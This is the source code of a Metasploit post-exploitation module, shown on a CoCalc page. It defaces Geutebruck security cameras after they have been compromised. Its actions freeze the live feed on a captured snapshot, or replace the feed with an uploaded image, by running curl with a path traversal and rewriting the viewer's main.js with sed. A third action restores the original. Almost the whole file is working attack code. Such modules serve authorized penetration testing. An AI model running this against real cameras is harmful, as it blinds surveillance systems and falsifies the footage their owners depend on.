CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/manage/geutebruck_post_exp.rb
Views: 11703
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize
10
super(
11
'Name' => 'Geutebruck Camera Deface',
12
'Description' => %q{
13
This module will take an existing session on a vulnerable Geutebruck Camera
14
and will allow the user to either freeze the camera and display the last
15
image from the video stream, display an image on the camera, or restore
16
the camera back to displaying the current feed/stream.
17
},
18
'Author' => [
19
'Ibrahim Ayadhi', # RandoriSec - Module, Discovery
20
'Sébastien Charbonnier', # RandoriSec - Module, Discovery
21
],
22
'License' => MSF_LICENSE,
23
'Platform' => ['linux'],
24
'SessionTypes' => ['shell'],
25
'Actions' => [
26
['FREEZE_CAMERA', { 'Description' => 'Freeze the camera and display the last image taken from the video stream' }],
27
['CHANGE_IMAGE', { 'Description' => 'Display an arbitrary image instead of the video stream' }],
28
['RESUME_STREAM', { 'Description' => "Resume the camera's video stream and display the current live feed" }]
29
],
30
'DefaultAction' => 'FREEZE_CAMERA'
31
)
32
33
register_options(
34
[
35
OptString.new('IMAGE', [false, 'Full path to the local copy of the image to upload']),
36
]
37
)
38
end
39
40
def run
41
print_status('-- Starting action --')
42
case action.name.downcase
43
when 'freeze_camera'
44
action_freeze_camera
45
when 'change_image'
46
action_change_image
47
when 'resume_stream'
48
action_resume_stream
49
end
50
end
51
52
def action_freeze_camera
53
print_status('Taking a snapshot of the current stream to use as the static image to freeze the stream on...')
54
cmd_exec('curl http://localhost/test/../uapi-cgi/snapshot.fcgi -o /usr/www/uapi-cgi/viewer/image.fcgi')
55
print_status('Freezing the stream on the captured image...')
56
pwn_main_js
57
print_status('Stream frozen!')
58
end
59
60
def action_change_image
61
fail_with(Failure::BadConfig, 'The CHANGE_IMAGE action requires the IMAGE option to be set!') if datastore['IMAGE'].blank?
62
fail_with(Failure::BadConfig, 'The image path specified by IMAGE does not exist!') unless ::File.exist?(datastore['IMAGE'])
63
print_status('Uploading a custom image...')
64
upload_file('/usr/www/uapi-cgi/viewer/image.fcgi', datastore['image'])
65
pwn_main_js
66
print_status('Done! The stream should be replaced by your image!')
67
end
68
69
def action_resume_stream
70
print_status('Resuming stream...')
71
unless file_exist?('/usr/www/viewer/js/main.js.bak')
72
fail_with(Failure::NoTarget, "/usr/www/viewer/js/main.js.bak doesn't exist on the target, did you run FREEZE_CAMERA or CHANGE_IMAGE actions yet?")
73
end
74
print_status('Restoring main.js backup...')
75
move_file('/usr/www/viewer/js/main.js.bak', '/usr/www/viewer/js/main.js')
76
print_status('Restored! Stream back to a normal state.')
77
end
78
79
def pwn_main_js
80
print_status('Backing up the original main.js...')
81
copy_file('/usr/www/viewer/js/main.js', '/usr/www/viewer/js/main2.js')
82
move_file('/usr/www/viewer/js/main.js', '/usr/www/viewer/js/main.js.bak')
83
print_status('Using the new main.js...')
84
cmd_exec("sed '/ImageBuf.src = snapshot_url;/ i snapshot_url=\"/uapi-cgi/viewer/image.fcgi\"' -i /usr/www/viewer/js/main2.js")
85
move_file('/usr/www/viewer/js/main2.js', '/usr/www/viewer/js/main.js')
86
end
87
end
88
89